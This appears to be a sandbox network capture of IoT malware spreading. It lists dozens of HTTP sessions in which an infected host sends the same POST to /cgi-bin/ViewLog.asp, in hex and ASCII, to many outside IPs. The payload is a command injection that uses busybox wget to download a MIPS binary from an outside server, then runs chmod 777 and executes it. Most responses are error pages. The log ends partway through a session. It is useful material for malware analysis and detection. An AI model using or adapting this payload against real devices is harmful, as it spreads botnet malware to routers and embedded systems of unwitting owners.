Nov 23, 2023 05:16:29.990468025 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:36.134468079 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:48.166553974 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:12.742367029 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:01.894232035 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
286	192.168.2.13	41032	94.187.110.52	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:27.162753105 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
287	192.168.2.13	35362	31.40.225.157	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:27.163992882 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:27.383867025 CET	1340	IN	HTTP/1.0 400 Bad Request Server: squid/3.1.23 Mime-Version: 1.0 Date: Thu, 23 Nov 2023 03:47:20 GMT Content-Type: text/html Content-Length: 3167 X-Squid-Error: ERR_INVALID_URL 0 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 20 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 20 20 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 71 75 69 64 2d 63 61 63 68 65 2e 6f 72 67 2f 41 72 74 77 6f 72 6b 2f 53 4e 2e 70 6e 67 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 6c 65 66 74 3b 0a 7d 0a 0a 2f 2a 20 69 6e 69 74 69 61 6c 20 74 69 74 6c 65 20 2a 2f 0a 23 74 69 74 6c 65 73 20 68 31 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 23 74 69 74 6c 65 73 20 68 32 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 0a 2f 2a 20 73 70 65 63 69 61 6c 20 65 76 65 6e 74 3a 20 46 54 50 20 73 75 63 63 65 73 73 20 70 61 67 65 20 74 69 74 6c 65 73 20 2a 2f 0a 23 74 69 74 6c 65 73 20 66 74 70 73 75 63 63 65 73 73 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 66 66 30 30 3b 0a 09 77 69 64 74 68 3a 31 30 30 25 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 62 6f 64 79 20 63 6f 6e 74 65 6e 74 20 61 72 65 61 20 2a 2f 0a 23 63 6f 6e 74 65 6e 74 20 7b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 66 66 66 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>ERROR: The requested URL could not be retrieved</title> <style type="text/css">... /* Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area /#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('http://www.squid-cache.org/Artwork/SN.png') no-repeat left;}/ initial title /#titles h1 {color: #000000;}#titles h2 {color: #000000;}/ special event: FTP success page titles /#titles ftpsuccess {background-color:#00ff00;width:100%;}/ Page displayed body content area */#content {padding: 10px;background: #ffffff

Session ID	Source IP	Source Port	Destination IP	Destination Port
288	192.168.2.13	57210	94.122.15.74	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:27.212284088 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
289	192.168.2.13	56650	94.75.238.8	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:28.634334087 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
290	192.168.2.13	46672	85.122.216.17	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:28.668054104 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
291	192.168.2.13	60678	85.187.5.200	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:28.682140112 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:28.920670033 CET	680	IN	HTTP/1.1 404 Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 431 Date: Thu, 23 Nov 2023 04:16:28 GMT Keep-Alive: timeout=5 Connection: keep-alive Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 404 Not Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 Not Found</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
292	192.168.2.13	38816	94.120.7.42	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:28.682750940 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
293	192.168.2.13	39754	94.120.242.191	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:28.695157051 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
294	192.168.2.13	42832	62.210.102.168	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:28.810204983 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:28.986124992 CET	261	IN	HTTP/1.1 404 Not Found Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Thu, 23 Nov 2023 04:16:28 GMT Content-Length: 19 Connection: close Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
295	192.168.2.13	50834	62.195.2.253	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:28.868021011 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:29.074388981 CET	590	IN	HTTP/1.1 400 Bad Request Date: Thu, 23 Nov 2023 04:16:28 GMT Server: X-Frame-Options: SAMEORIGIN Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval' ; object-src 'self' ; worker-src 'self' blob: Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
296	192.168.2.13	52934	31.199.88.123	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:28.873668909 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:29.079775095 CET	401	IN	HTTP/1.1 404 Not Found Date: Thu, 23 Nov 2023 04:16:28 GMT Server: Boa/0.94.14rc21 Accept-Ranges: bytes Connection: close Content-Type: text/html; charset=ISO-8859-1 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>404 Not Found</H1>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
297	192.168.2.13	34110	95.68.20.189	8080

Timestamp	Bytes transferred	Direction	Data
